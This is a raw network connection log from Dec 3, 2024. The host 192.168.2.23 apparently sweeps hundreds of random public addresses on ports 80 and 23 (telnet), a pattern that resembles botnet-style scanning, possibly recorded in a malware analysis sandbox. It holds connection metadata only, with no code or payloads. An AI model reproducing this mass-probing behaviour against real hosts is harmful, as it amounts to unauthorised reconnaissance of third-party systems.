Dec 3, 2024 21:30:51.814676046 CET	59010	80	192.168.2.23	128.178.227.146
Dec 3, 2024 21:30:51.814682961 CET	59010	80	192.168.2.23	143.212.18.214
Dec 3, 2024 21:30:51.814683914 CET	59010	80	192.168.2.23	119.65.200.245
Dec 3, 2024 21:30:51.814691067 CET	59010	80	192.168.2.23	61.211.51.8
Dec 3, 2024 21:30:51.814702034 CET	59010	80	192.168.2.23	35.78.243.119
Dec 3, 2024 21:30:51.814706087 CET	59010	80	192.168.2.23	211.144.117.124
Dec 3, 2024 21:30:51.814716101 CET	59010	80	192.168.2.23	24.232.238.51
Dec 3, 2024 21:30:51.814719915 CET	59010	80	192.168.2.23	13.141.113.3
Dec 3, 2024 21:30:51.814728022 CET	59010	80	192.168.2.23	179.84.120.255
Dec 3, 2024 21:30:51.814729929 CET	59010	80	192.168.2.23	129.172.169.48
Dec 3, 2024 21:30:51.814729929 CET	59010	80	192.168.2.23	149.247.144.8
Dec 3, 2024 21:30:51.814729929 CET	59010	80	192.168.2.23	196.29.47.24
Dec 3, 2024 21:30:51.814733028 CET	59010	80	192.168.2.23	210.202.76.37
Dec 3, 2024 21:30:51.814734936 CET	59010	80	192.168.2.23	73.144.46.219
Dec 3, 2024 21:30:51.814743042 CET	59010	80	192.168.2.23	188.232.188.143
Dec 3, 2024 21:30:51.814743042 CET	80	41620	67.181.179.91	192.168.2.23
Dec 3, 2024 21:30:51.814747095 CET	59010	80	192.168.2.23	202.0.116.136
Dec 3, 2024 21:30:51.814752102 CET	59010	80	192.168.2.23	44.92.246.193
Dec 3, 2024 21:30:51.814758062 CET	59010	80	192.168.2.23	176.233.161.53
Dec 3, 2024 21:30:51.814764977 CET	59010	80	192.168.2.23	138.106.243.210
Dec 3, 2024 21:30:51.814771891 CET	59010	80	192.168.2.23	201.40.89.43
Dec 3, 2024 21:30:51.814781904 CET	41620	80	192.168.2.23	67.181.179.91
Dec 3, 2024 21:30:51.814783096 CET	59010	80	192.168.2.23	160.153.150.121
Dec 3, 2024 21:30:51.814793110 CET	59010	80	192.168.2.23	211.244.255.202
Dec 3, 2024 21:30:51.814798117 CET	59010	80	192.168.2.23	142.210.227.195
Dec 3, 2024 21:30:51.814805031 CET	59010	80	192.168.2.23	80.39.43.196
Dec 3, 2024 21:30:51.814809084 CET	59010	80	192.168.2.23	182.176.21.208
Dec 3, 2024 21:30:51.814816952 CET	59010	80	192.168.2.23	77.193.212.79
Dec 3, 2024 21:30:51.814820051 CET	59010	80	192.168.2.23	58.56.90.183
Dec 3, 2024 21:30:51.814826012 CET	59010	80	192.168.2.23	158.103.148.35
Dec 3, 2024 21:30:51.814831972 CET	59010	80	192.168.2.23	196.247.22.124
Dec 3, 2024 21:30:51.814867020 CET	59010	80	192.168.2.23	113.104.32.123
Dec 3, 2024 21:30:51.814868927 CET	59010	80	192.168.2.23	143.45.60.247
Dec 3, 2024 21:30:51.814868927 CET	59010	80	192.168.2.23	136.68.156.79
Dec 3, 2024 21:30:51.814868927 CET	59010	80	192.168.2.23	107.7.246.210
Dec 3, 2024 21:30:51.814868927 CET	59010	80	192.168.2.23	159.170.204.135
Dec 3, 2024 21:30:51.814868927 CET	59010	80	192.168.2.23	133.105.201.101
Dec 3, 2024 21:30:51.814868927 CET	59010	80	192.168.2.23	74.149.194.195
Dec 3, 2024 21:30:51.814868927 CET	59010	80	192.168.2.23	107.230.213.115
Dec 3, 2024 21:30:51.814868927 CET	59010	80	192.168.2.23	219.87.31.177
Dec 3, 2024 21:30:51.814870119 CET	59010	80	192.168.2.23	198.158.184.89
Dec 3, 2024 21:30:51.814876080 CET	59010	80	192.168.2.23	119.63.4.94
Dec 3, 2024 21:30:51.814876080 CET	59010	80	192.168.2.23	92.27.22.224
Dec 3, 2024 21:30:51.814877987 CET	59010	80	192.168.2.23	67.22.88.35
Dec 3, 2024 21:30:51.814877987 CET	59010	80	192.168.2.23	34.125.116.91
Dec 3, 2024 21:30:51.814877987 CET	59010	80	192.168.2.23	119.129.253.156
Dec 3, 2024 21:30:51.814877987 CET	59010	80	192.168.2.23	148.111.7.226
Dec 3, 2024 21:30:51.814879894 CET	59010	80	192.168.2.23	13.235.231.247
Dec 3, 2024 21:30:51.814882040 CET	59010	80	192.168.2.23	207.189.99.171
Dec 3, 2024 21:30:51.814893961 CET	59010	80	192.168.2.23	85.184.150.154
Dec 3, 2024 21:30:51.814894915 CET	59010	80	192.168.2.23	221.33.211.105
Dec 3, 2024 21:30:51.814894915 CET	59010	80	192.168.2.23	5.68.211.165
Dec 3, 2024 21:30:51.814903021 CET	59010	80	192.168.2.23	39.239.71.188
Dec 3, 2024 21:30:51.814909935 CET	59010	80	192.168.2.23	43.230.170.64
Dec 3, 2024 21:30:51.814909935 CET	59010	80	192.168.2.23	35.135.119.21
Dec 3, 2024 21:30:51.814909935 CET	59010	80	192.168.2.23	61.253.122.27
Dec 3, 2024 21:30:51.814909935 CET	59010	80	192.168.2.23	111.35.150.204
Dec 3, 2024 21:30:51.814912081 CET	59010	80	192.168.2.23	155.67.91.189
Dec 3, 2024 21:30:51.814918995 CET	59010	80	192.168.2.23	161.239.116.198
Dec 3, 2024 21:30:51.814918995 CET	59010	80	192.168.2.23	25.23.51.236
Dec 3, 2024 21:30:51.814920902 CET	59010	80	192.168.2.23	171.66.21.127
Dec 3, 2024 21:30:51.814920902 CET	59010	80	192.168.2.23	191.239.1.6
Dec 3, 2024 21:30:51.814922094 CET	59010	80	192.168.2.23	176.192.151.41
Dec 3, 2024 21:30:51.814920902 CET	59010	80	192.168.2.23	84.84.42.221
Dec 3, 2024 21:30:51.814922094 CET	59010	80	192.168.2.23	58.161.197.188
Dec 3, 2024 21:30:51.814924955 CET	59010	80	192.168.2.23	173.19.81.186
Dec 3, 2024 21:30:51.814924955 CET	59010	80	192.168.2.23	136.167.78.14
Dec 3, 2024 21:30:51.814934969 CET	59010	80	192.168.2.23	132.144.114.165
Dec 3, 2024 21:30:51.814935923 CET	59010	80	192.168.2.23	72.234.253.44
Dec 3, 2024 21:30:51.814939976 CET	59010	80	192.168.2.23	195.247.201.146
Dec 3, 2024 21:30:51.814940929 CET	59010	80	192.168.2.23	209.83.15.85
Dec 3, 2024 21:30:51.814940929 CET	59010	80	192.168.2.23	183.179.51.165
Dec 3, 2024 21:30:51.814940929 CET	59010	80	192.168.2.23	13.194.41.236
Dec 3, 2024 21:30:51.814940929 CET	59010	80	192.168.2.23	98.6.52.69
Dec 3, 2024 21:30:51.814943075 CET	59010	80	192.168.2.23	87.80.68.241
Dec 3, 2024 21:30:51.814949989 CET	59010	80	192.168.2.23	195.219.10.31
Dec 3, 2024 21:30:51.814949989 CET	59010	80	192.168.2.23	43.222.92.115
Dec 3, 2024 21:30:51.814949989 CET	59010	80	192.168.2.23	177.123.169.213
Dec 3, 2024 21:30:51.814955950 CET	59010	80	192.168.2.23	87.183.82.119
Dec 3, 2024 21:30:51.814956903 CET	59010	80	192.168.2.23	43.236.56.116
Dec 3, 2024 21:30:51.814964056 CET	59010	80	192.168.2.23	216.218.211.22
Dec 3, 2024 21:30:51.814965010 CET	59010	80	192.168.2.23	68.237.254.221
Dec 3, 2024 21:30:51.814965010 CET	59010	80	192.168.2.23	80.105.9.3
Dec 3, 2024 21:30:51.814968109 CET	59010	80	192.168.2.23	170.186.192.173
Dec 3, 2024 21:30:51.814976931 CET	59010	80	192.168.2.23	184.240.234.52
Dec 3, 2024 21:30:51.814977884 CET	59010	80	192.168.2.23	199.4.194.189
Dec 3, 2024 21:30:51.814976931 CET	59010	80	192.168.2.23	148.70.38.13
Dec 3, 2024 21:30:51.814976931 CET	59010	80	192.168.2.23	68.156.106.46
Dec 3, 2024 21:30:51.814976931 CET	59010	80	192.168.2.23	166.24.251.181
Dec 3, 2024 21:30:51.814979076 CET	59010	80	192.168.2.23	52.9.13.64
Dec 3, 2024 21:30:51.814981937 CET	59010	80	192.168.2.23	95.182.48.114
Dec 3, 2024 21:30:51.814991951 CET	59010	80	192.168.2.23	14.34.18.99
Dec 3, 2024 21:30:51.814992905 CET	59010	80	192.168.2.23	194.167.122.25
Dec 3, 2024 21:30:51.814992905 CET	59010	80	192.168.2.23	136.39.90.216
Dec 3, 2024 21:30:51.814994097 CET	59010	80	192.168.2.23	14.102.114.212
Dec 3, 2024 21:30:51.814996004 CET	59010	80	192.168.2.23	165.129.14.136
Dec 3, 2024 21:30:51.814996958 CET	59010	80	192.168.2.23	101.163.149.195
Dec 3, 2024 21:30:51.814996958 CET	59010	80	192.168.2.23	40.3.229.150
Dec 3, 2024 21:30:51.814996958 CET	59010	80	192.168.2.23	181.214.245.119
Dec 3, 2024 21:30:51.814996958 CET	59010	80	192.168.2.23	149.24.90.230
Dec 3, 2024 21:30:51.814996958 CET	59010	80	192.168.2.23	120.175.7.61
Dec 3, 2024 21:30:51.815005064 CET	59010	80	192.168.2.23	5.70.161.198
Dec 3, 2024 21:30:51.815009117 CET	59010	80	192.168.2.23	88.169.77.150
Dec 3, 2024 21:30:51.815009117 CET	59010	80	192.168.2.23	174.182.68.105
Dec 3, 2024 21:30:51.815009117 CET	59010	80	192.168.2.23	76.114.209.58
Dec 3, 2024 21:30:51.815012932 CET	59010	80	192.168.2.23	203.61.52.113
Dec 3, 2024 21:30:51.815012932 CET	59010	80	192.168.2.23	61.167.213.179
Dec 3, 2024 21:30:51.815017939 CET	59010	80	192.168.2.23	170.197.225.30
Dec 3, 2024 21:30:51.815018892 CET	59010	80	192.168.2.23	60.88.254.37
Dec 3, 2024 21:30:51.815017939 CET	59010	80	192.168.2.23	97.112.150.183
Dec 3, 2024 21:30:51.815018892 CET	59010	80	192.168.2.23	159.62.248.139
Dec 3, 2024 21:30:51.815017939 CET	59010	80	192.168.2.23	139.207.60.36
Dec 3, 2024 21:30:51.815026045 CET	59010	80	192.168.2.23	75.173.160.106
Dec 3, 2024 21:30:51.815027952 CET	59010	80	192.168.2.23	154.229.90.174
Dec 3, 2024 21:30:51.815030098 CET	59010	80	192.168.2.23	2.207.251.176
Dec 3, 2024 21:30:51.815032005 CET	59010	80	192.168.2.23	1.35.45.4
Dec 3, 2024 21:30:51.815032005 CET	59010	80	192.168.2.23	69.247.110.127
Dec 3, 2024 21:30:51.815035105 CET	59010	80	192.168.2.23	180.169.227.39
Dec 3, 2024 21:30:51.815045118 CET	59010	80	192.168.2.23	83.115.108.116
Dec 3, 2024 21:30:51.815045118 CET	59010	80	192.168.2.23	82.150.103.222
Dec 3, 2024 21:30:51.815045118 CET	59010	80	192.168.2.23	101.10.150.33
Dec 3, 2024 21:30:51.815052032 CET	59010	80	192.168.2.23	187.224.85.193
Dec 3, 2024 21:30:51.815052032 CET	59010	80	192.168.2.23	147.113.15.33
Dec 3, 2024 21:30:51.815057039 CET	59010	80	192.168.2.23	133.51.154.199
Dec 3, 2024 21:30:51.815057993 CET	59010	80	192.168.2.23	151.128.107.157
Dec 3, 2024 21:30:51.815058947 CET	59010	80	192.168.2.23	92.252.14.155
Dec 3, 2024 21:30:51.815073967 CET	59010	80	192.168.2.23	84.87.93.14
Dec 3, 2024 21:30:51.815073967 CET	59010	80	192.168.2.23	197.80.109.248
Dec 3, 2024 21:30:51.815076113 CET	59010	80	192.168.2.23	126.106.54.221
Dec 3, 2024 21:30:51.815078974 CET	59010	80	192.168.2.23	181.58.172.176
Dec 3, 2024 21:30:51.815080881 CET	59010	80	192.168.2.23	18.149.116.255
Dec 3, 2024 21:30:51.815088034 CET	59010	80	192.168.2.23	112.244.27.89
Dec 3, 2024 21:30:51.815100908 CET	59010	80	192.168.2.23	217.30.150.254
Dec 3, 2024 21:30:51.815105915 CET	59010	80	192.168.2.23	88.106.229.155
Dec 3, 2024 21:30:51.815108061 CET	59010	80	192.168.2.23	161.216.224.247
Dec 3, 2024 21:30:51.815112114 CET	59010	80	192.168.2.23	136.41.22.111
Dec 3, 2024 21:30:51.815113068 CET	59010	80	192.168.2.23	8.159.47.58
Dec 3, 2024 21:30:51.815126896 CET	59010	80	192.168.2.23	190.182.124.43
Dec 3, 2024 21:30:51.815126896 CET	59010	80	192.168.2.23	201.68.112.157
Dec 3, 2024 21:30:51.815129995 CET	59010	80	192.168.2.23	174.3.131.25
Dec 3, 2024 21:30:51.815130949 CET	59010	80	192.168.2.23	4.219.15.52
Dec 3, 2024 21:30:51.815130949 CET	59010	80	192.168.2.23	40.242.155.22
Dec 3, 2024 21:30:51.815148115 CET	59010	80	192.168.2.23	142.221.233.1
Dec 3, 2024 21:30:51.815150976 CET	59010	80	192.168.2.23	117.89.65.188
Dec 3, 2024 21:30:51.815150976 CET	59010	80	192.168.2.23	31.16.1.173
Dec 3, 2024 21:30:51.815151930 CET	59010	80	192.168.2.23	82.105.238.44
Dec 3, 2024 21:30:51.815155029 CET	59010	80	192.168.2.23	223.230.212.38
Dec 3, 2024 21:30:51.815155029 CET	59010	80	192.168.2.23	188.87.44.51
Dec 3, 2024 21:30:51.815164089 CET	59010	80	192.168.2.23	163.84.77.182
Dec 3, 2024 21:30:51.815181971 CET	59010	80	192.168.2.23	90.170.1.88
Dec 3, 2024 21:30:51.815181971 CET	59010	80	192.168.2.23	45.42.62.247
Dec 3, 2024 21:30:51.815190077 CET	59010	80	192.168.2.23	34.98.255.222
Dec 3, 2024 21:30:51.815190077 CET	59010	80	192.168.2.23	119.213.76.234
Dec 3, 2024 21:30:51.815190077 CET	59010	80	192.168.2.23	114.215.206.147
Dec 3, 2024 21:30:51.815191031 CET	59010	80	192.168.2.23	27.36.86.142
Dec 3, 2024 21:30:51.815198898 CET	59010	80	192.168.2.23	69.77.71.90
Dec 3, 2024 21:30:51.815212965 CET	59010	80	192.168.2.23	62.6.220.65
Dec 3, 2024 21:30:51.815213919 CET	59010	80	192.168.2.23	180.112.120.210
Dec 3, 2024 21:30:51.815215111 CET	59010	80	192.168.2.23	99.150.124.201
Dec 3, 2024 21:30:51.815287113 CET	59116	80	192.168.2.23	46.150.128.128
Dec 3, 2024 21:30:51.815287113 CET	59116	80	192.168.2.23	46.150.128.128
Dec 3, 2024 21:30:51.815681934 CET	59122	80	192.168.2.23	46.150.128.128
Dec 3, 2024 21:30:51.816025972 CET	35808	80	192.168.2.23	220.142.4.23
Dec 3, 2024 21:30:51.816025972 CET	35808	80	192.168.2.23	220.142.4.23
Dec 3, 2024 21:30:51.816284895 CET	35814	80	192.168.2.23	220.142.4.23
Dec 3, 2024 21:30:51.816610098 CET	41620	80	192.168.2.23	67.181.179.91
Dec 3, 2024 21:30:51.816610098 CET	41620	80	192.168.2.23	67.181.179.91
Dec 3, 2024 21:30:51.816865921 CET	41626	80	192.168.2.23	67.181.179.91
Dec 3, 2024 21:30:51.923291922 CET	55110	23	192.168.2.23	105.174.74.128
Dec 3, 2024 21:30:51.923316002 CET	41768	23	192.168.2.23	223.237.12.51
Dec 3, 2024 21:30:51.923316002 CET	55272	23	192.168.2.23	178.150.12.75
Dec 3, 2024 21:30:51.923319101 CET	51858	23	192.168.2.23	179.241.150.144
Dec 3, 2024 21:30:51.923319101 CET	39436	23	192.168.2.23	171.9.16.217
Dec 3, 2024 21:30:51.923319101 CET	58290	23	192.168.2.23	211.36.41.79
Dec 3, 2024 21:30:51.941716909 CET	80	59010	98.198.136.78	192.168.2.23
Dec 3, 2024 21:30:51.941750050 CET	80	59010	154.178.4.253	192.168.2.23
Dec 3, 2024 21:30:51.941766977 CET	80	59010	92.63.31.164	192.168.2.23
Dec 3, 2024 21:30:51.941776991 CET	80	59010	31.176.182.130	192.168.2.23
Dec 3, 2024 21:30:51.941793919 CET	80	59010	61.10.160.29	192.168.2.23
Dec 3, 2024 21:30:51.941817999 CET	80	59010	167.17.65.142	192.168.2.23
Dec 3, 2024 21:30:51.941818953 CET	59010	80	192.168.2.23	154.178.4.253
Dec 3, 2024 21:30:51.941833019 CET	59010	80	192.168.2.23	31.176.182.130
Dec 3, 2024 21:30:51.941834927 CET	59010	80	192.168.2.23	92.63.31.164
Dec 3, 2024 21:30:51.941834927 CET	59010	80	192.168.2.23	98.198.136.78
Dec 3, 2024 21:30:51.941834927 CET	59010	80	192.168.2.23	61.10.160.29
Dec 3, 2024 21:30:51.941840887 CET	80	59010	87.213.185.178	192.168.2.23
Dec 3, 2024 21:30:51.941862106 CET	59010	80	192.168.2.23	167.17.65.142
Dec 3, 2024 21:30:51.941878080 CET	59010	80	192.168.2.23	87.213.185.178
Dec 3, 2024 21:30:51.941888094 CET	80	59010	134.190.6.30	192.168.2.23
Dec 3, 2024 21:30:51.941898108 CET	80	59010	44.173.181.207	192.168.2.23
Dec 3, 2024 21:30:51.941901922 CET	80	59010	174.188.142.142	192.168.2.23
Dec 3, 2024 21:30:51.941917896 CET	80	59010	40.164.129.252	192.168.2.23
Dec 3, 2024 21:30:51.941937923 CET	59010	80	192.168.2.23	44.173.181.207
Dec 3, 2024 21:30:51.941937923 CET	59010	80	192.168.2.23	134.190.6.30
Dec 3, 2024 21:30:51.941947937 CET	59010	80	192.168.2.23	174.188.142.142
Dec 3, 2024 21:30:51.941956043 CET	59010	80	192.168.2.23	40.164.129.252
Dec 3, 2024 21:30:51.941957951 CET	80	59010	130.217.80.160	192.168.2.23
Dec 3, 2024 21:30:51.941968918 CET	80	59010	64.64.206.110	192.168.2.23
Dec 3, 2024 21:30:51.941984892 CET	80	59010	171.119.137.116	192.168.2.23
Dec 3, 2024 21:30:51.941994905 CET	80	59010	91.222.101.204	192.168.2.23
Dec 3, 2024 21:30:51.942001104 CET	59010	80	192.168.2.23	130.217.80.160
Dec 3, 2024 21:30:51.942004919 CET	80	59010	41.60.28.34	192.168.2.23
Dec 3, 2024 21:30:51.942008018 CET	59010	80	192.168.2.23	64.64.206.110
Dec 3, 2024 21:30:51.942018986 CET	59010	80	192.168.2.23	171.119.137.116
Dec 3, 2024 21:30:51.942035913 CET	59010	80	192.168.2.23	91.222.101.204
Dec 3, 2024 21:30:51.942063093 CET	59010	80	192.168.2.23	41.60.28.34
Dec 3, 2024 21:30:51.942212105 CET	80	59010	18.149.183.76	192.168.2.23
Dec 3, 2024 21:30:51.942222118 CET	80	59010	2.12.34.251	192.168.2.23
Dec 3, 2024 21:30:51.942230940 CET	80	59010	106.190.131.163	192.168.2.23
Dec 3, 2024 21:30:51.942240953 CET	80	59010	157.84.156.237	192.168.2.23
Dec 3, 2024 21:30:51.942250967 CET	80	59010	223.158.92.56	192.168.2.23
Dec 3, 2024 21:30:51.942261934 CET	80	59010	171.122.203.201	192.168.2.23
Dec 3, 2024 21:30:51.942262888 CET	59010	80	192.168.2.23	2.12.34.251
Dec 3, 2024 21:30:51.942264080 CET	59010	80	192.168.2.23	18.149.183.76
Dec 3, 2024 21:30:51.942264080 CET	59010	80	192.168.2.23	106.190.131.163
Dec 3, 2024 21:30:51.942270994 CET	80	59010	123.104.76.242	192.168.2.23
Dec 3, 2024 21:30:51.942281961 CET	80	59010	212.208.47.65	192.168.2.23
Dec 3, 2024 21:30:51.942290068 CET	59010	80	192.168.2.23	157.84.156.237
Dec 3, 2024 21:30:51.942291021 CET	80	59010	27.250.38.90	192.168.2.23
Dec 3, 2024 21:30:51.942293882 CET	59010	80	192.168.2.23	223.158.92.56
Dec 3, 2024 21:30:51.942300081 CET	59010	80	192.168.2.23	171.122.203.201
Dec 3, 2024 21:30:51.942301989 CET	80	59010	83.242.246.47	192.168.2.23
Dec 3, 2024 21:30:51.942307949 CET	59010	80	192.168.2.23	212.208.47.65
Dec 3, 2024 21:30:51.942312002 CET	80	59010	31.140.158.101	192.168.2.23
Dec 3, 2024 21:30:51.942317009 CET	59010	80	192.168.2.23	123.104.76.242
Dec 3, 2024 21:30:51.942322016 CET	80	59010	122.91.92.183	192.168.2.23
Dec 3, 2024 21:30:51.942336082 CET	80	59010	20.90.151.4	192.168.2.23
Dec 3, 2024 21:30:51.942336082 CET	59010	80	192.168.2.23	83.242.246.47
Dec 3, 2024 21:30:51.942337036 CET	59010	80	192.168.2.23	27.250.38.90
Dec 3, 2024 21:30:51.942346096 CET	80	59010	128.5.9.145	192.168.2.23
Dec 3, 2024 21:30:51.942348957 CET	59010	80	192.168.2.23	31.140.158.101
Dec 3, 2024 21:30:51.942356110 CET	59010	80	192.168.2.23	122.91.92.183
Dec 3, 2024 21:30:51.942357063 CET	80	59010	91.177.96.233	192.168.2.23
Dec 3, 2024 21:30:51.942368031 CET	80	59010	163.9.31.130	192.168.2.23
Dec 3, 2024 21:30:51.942378044 CET	80	59010	200.1.115.254	192.168.2.23
Dec 3, 2024 21:30:51.942380905 CET	59010	80	192.168.2.23	128.5.9.145
Dec 3, 2024 21:30:51.942382097 CET	59010	80	192.168.2.23	20.90.151.4
Dec 3, 2024 21:30:51.942395926 CET	80	59116	46.150.128.128	192.168.2.23
Dec 3, 2024 21:30:51.942399979 CET	59010	80	192.168.2.23	91.177.96.233
Dec 3, 2024 21:30:51.942399979 CET	59010	80	192.168.2.23	163.9.31.130
Dec 3, 2024 21:30:51.942409039 CET	59010	80	192.168.2.23	200.1.115.254
Dec 3, 2024 21:30:51.942605019 CET	80	35808	220.142.4.23	192.168.2.23
Dec 3, 2024 21:30:51.943089962 CET	80	41620	67.181.179.91	192.168.2.23
Dec 3, 2024 21:30:51.955255032 CET	35948	23	192.168.2.23	142.210.237.219
Dec 3, 2024 21:30:51.955259085 CET	52976	23	192.168.2.23	44.192.118.134
Dec 3, 2024 21:30:51.955259085 CET	43938	23	192.168.2.23	152.95.51.72
Dec 3, 2024 21:30:51.955266953 CET	36690	23	192.168.2.23	17.190.91.183
Dec 3, 2024 21:30:51.955271006 CET	48876	23	192.168.2.23	180.171.175.255
Dec 3, 2024 21:30:51.955270052 CET	57164	23	192.168.2.23	1.231.62.67
Dec 3, 2024 21:30:51.955276966 CET	41532	23	192.168.2.23	32.99.249.242
Dec 3, 2024 21:30:51.955281973 CET	36194	23	192.168.2.23	46.119.97.108
Dec 3, 2024 21:30:51.955292940 CET	55210	23	192.168.2.23	191.101.248.236
Dec 3, 2024 21:30:51.955334902 CET	40116	23	192.168.2.23	19.103.252.167
Dec 3, 2024 21:30:51.984086037 CET	80	41620	67.181.179.91	192.168.2.23
Dec 3, 2024 21:30:51.984100103 CET	80	35808	220.142.4.23	192.168.2.23
Dec 3, 2024 21:30:51.984132051 CET	80	59116	46.150.128.128	192.168.2.23
Dec 3, 2024 21:30:52.041153908 CET	59020	23	192.168.2.23	39.233.174.91
Dec 3, 2024 21:30:52.041171074 CET	59020	23	192.168.2.23	180.16.210.241
Dec 3, 2024 21:30:52.041171074 CET	59020	23	192.168.2.23	182.224.100.231
Dec 3, 2024 21:30:52.041171074 CET	59020	23	192.168.2.23	95.3.254.80
Dec 3, 2024 21:30:52.041172028 CET	59020	23	192.168.2.23	115.110.93.139
Dec 3, 2024 21:30:52.041172028 CET	59020	23	192.168.2.23	126.10.254.74
Dec 3, 2024 21:30:52.041193962 CET	59020	23	192.168.2.23	49.170.234.147
Dec 3, 2024 21:30:52.041193962 CET	59020	23	192.168.2.23	92.112.120.120
Dec 3, 2024 21:30:52.041198015 CET	59020	23	192.168.2.23	218.72.36.154
Dec 3, 2024 21:30:52.041193962 CET	59020	23	192.168.2.23	200.27.174.66
Dec 3, 2024 21:30:52.041198015 CET	59020	23	192.168.2.23	216.31.104.220
Dec 3, 2024 21:30:52.041193962 CET	59020	23	192.168.2.23	37.249.155.106
Dec 3, 2024 21:30:52.041193962 CET	59020	23	192.168.2.23	203.28.193.131
Dec 3, 2024 21:30:52.041198969 CET	59020	23	192.168.2.23	50.243.27.46
Dec 3, 2024 21:30:52.041198969 CET	59020	23	192.168.2.23	172.12.156.45
Dec 3, 2024 21:30:52.041198969 CET	59020	23	192.168.2.23	165.164.254.181
Dec 3, 2024 21:30:52.041198969 CET	59020	23	192.168.2.23	138.196.88.128
Dec 3, 2024 21:30:52.041218996 CET	59020	23	192.168.2.23	42.87.182.148
Dec 3, 2024 21:30:52.041218996 CET	59020	23	192.168.2.23	19.54.214.182
Dec 3, 2024 21:30:52.041218996 CET	59020	23	192.168.2.23	133.207.223.238
Dec 3, 2024 21:30:52.041219950 CET	59020	23	192.168.2.23	221.105.101.104
Dec 3, 2024 21:30:52.041220903 CET	59020	23	192.168.2.23	108.31.231.82
Dec 3, 2024 21:30:52.041218996 CET	59020	23	192.168.2.23	128.227.86.186
Dec 3, 2024 21:30:52.041218996 CET	59020	23	192.168.2.23	61.99.190.222
Dec 3, 2024 21:30:52.041218996 CET	59020	23	192.168.2.23	82.138.189.92
Dec 3, 2024 21:30:52.041225910 CET	59020	23	192.168.2.23	208.216.163.167
Dec 3, 2024 21:30:52.041228056 CET	59020	23	192.168.2.23	82.153.52.48
Dec 3, 2024 21:30:52.041229963 CET	59020	23	192.168.2.23	93.191.162.238
Dec 3, 2024 21:30:52.041235924 CET	59020	23	192.168.2.23	185.184.111.244
Dec 3, 2024 21:30:52.041235924 CET	59020	23	192.168.2.23	207.129.252.156
Dec 3, 2024 21:30:52.041235924 CET	59020	23	192.168.2.23	159.169.86.6
Dec 3, 2024 21:30:52.041235924 CET	59020	23	192.168.2.23	153.195.100.147
Dec 3, 2024 21:30:52.041235924 CET	59020	23	192.168.2.23	32.98.184.185
Dec 3, 2024 21:30:52.041235924 CET	59020	23	192.168.2.23	153.94.14.45
Dec 3, 2024 21:30:52.041235924 CET	59020	23	192.168.2.23	85.217.141.40
Dec 3, 2024 21:30:52.041235924 CET	59020	23	192.168.2.23	125.37.235.115
Dec 3, 2024 21:30:52.041239023 CET	59020	23	192.168.2.23	23.204.51.132
Dec 3, 2024 21:30:52.041243076 CET	59020	23	192.168.2.23	216.41.50.217
Dec 3, 2024 21:30:52.041244030 CET	59020	23	192.168.2.23	201.218.88.166
Dec 3, 2024 21:30:52.041256905 CET	59020	23	192.168.2.23	168.224.161.240
Dec 3, 2024 21:30:52.041258097 CET	59020	23	192.168.2.23	129.13.67.163
Dec 3, 2024 21:30:52.041269064 CET	59020	23	192.168.2.23	80.243.183.12
Dec 3, 2024 21:30:52.041269064 CET	59020	23	192.168.2.23	155.78.126.224
Dec 3, 2024 21:30:52.041281939 CET	59020	23	192.168.2.23	83.128.54.22
Dec 3, 2024 21:30:52.041289091 CET	59020	23	192.168.2.23	18.168.153.49
Dec 3, 2024 21:30:52.041289091 CET	59020	23	192.168.2.23	209.134.179.231
Dec 3, 2024 21:30:52.041290998 CET	59020	23	192.168.2.23	85.42.31.166
Dec 3, 2024 21:30:52.041299105 CET	59020	23	192.168.2.23	37.47.72.178
Dec 3, 2024 21:30:52.041305065 CET	59020	23	192.168.2.23	98.231.10.57
Dec 3, 2024 21:30:52.041307926 CET	59020	23	192.168.2.23	137.170.166.135
Dec 3, 2024 21:30:52.041313887 CET	59020	23	192.168.2.23	72.99.167.211
Dec 3, 2024 21:30:52.041316032 CET	59020	23	192.168.2.23	35.110.181.67
Dec 3, 2024 21:30:52.041316032 CET	59020	23	192.168.2.23	19.126.4.161
Dec 3, 2024 21:30:52.041325092 CET	59020	23	192.168.2.23	181.225.132.19
Dec 3, 2024 21:30:52.041335106 CET	59020	23	192.168.2.23	176.137.47.87
Dec 3, 2024 21:30:52.041343927 CET	59020	23	192.168.2.23	19.118.231.218
Dec 3, 2024 21:30:52.041344881 CET	59020	23	192.168.2.23	156.185.225.232
Dec 3, 2024 21:30:52.041353941 CET	59020	23	192.168.2.23	217.91.216.82
Dec 3, 2024 21:30:52.041357994 CET	59020	23	192.168.2.23	169.143.111.50
Dec 3, 2024 21:30:52.041363955 CET	59020	23	192.168.2.23	152.97.38.6
Dec 3, 2024 21:30:52.041372061 CET	59020	23	192.168.2.23	191.16.81.61
Dec 3, 2024 21:30:52.041374922 CET	59020	23	192.168.2.23	97.198.113.67
Dec 3, 2024 21:30:52.041384935 CET	59020	23	192.168.2.23	200.171.7.153
Dec 3, 2024 21:30:52.041390896 CET	59020	23	192.168.2.23	45.123.91.40
Dec 3, 2024 21:30:52.041393995 CET	59020	23	192.168.2.23	144.130.135.214
Dec 3, 2024 21:30:52.041403055 CET	59020	23	192.168.2.23	133.211.206.185
Dec 3, 2024 21:30:52.041413069 CET	59020	23	192.168.2.23	222.198.154.134
Dec 3, 2024 21:30:52.041421890 CET	59020	23	192.168.2.23	168.66.144.250
Dec 3, 2024 21:30:52.041424036 CET	59020	23	192.168.2.23	130.57.47.220
Dec 3, 2024 21:30:52.041429996 CET	59020	23	192.168.2.23	191.124.119.216
Dec 3, 2024 21:30:52.041438103 CET	59020	23	192.168.2.23	36.67.66.108
Dec 3, 2024 21:30:52.041446924 CET	59020	23	192.168.2.23	133.158.191.255
Dec 3, 2024 21:30:52.041446924 CET	59020	23	192.168.2.23	153.58.255.107
Dec 3, 2024 21:30:52.041459084 CET	59020	23	192.168.2.23	177.110.200.128
Dec 3, 2024 21:30:52.041459084 CET	59020	23	192.168.2.23	52.94.109.215
Dec 3, 2024 21:30:52.041471004 CET	59020	23	192.168.2.23	97.153.11.147
Dec 3, 2024 21:30:52.041481018 CET	59020	23	192.168.2.23	192.235.96.207
Dec 3, 2024 21:30:52.041486025 CET	59020	23	192.168.2.23	223.82.235.47
Dec 3, 2024 21:30:52.041487932 CET	59020	23	192.168.2.23	217.153.165.254
Dec 3, 2024 21:30:52.041493893 CET	59020	23	192.168.2.23	114.46.39.126
Dec 3, 2024 21:30:52.041497946 CET	59020	23	192.168.2.23	205.88.251.246
Dec 3, 2024 21:30:52.041503906 CET	59020	23	192.168.2.23	92.189.185.223
Dec 3, 2024 21:30:52.041508913 CET	59020	23	192.168.2.23	42.17.186.236
Dec 3, 2024 21:30:52.041517973 CET	59020	23	192.168.2.23	138.228.191.52
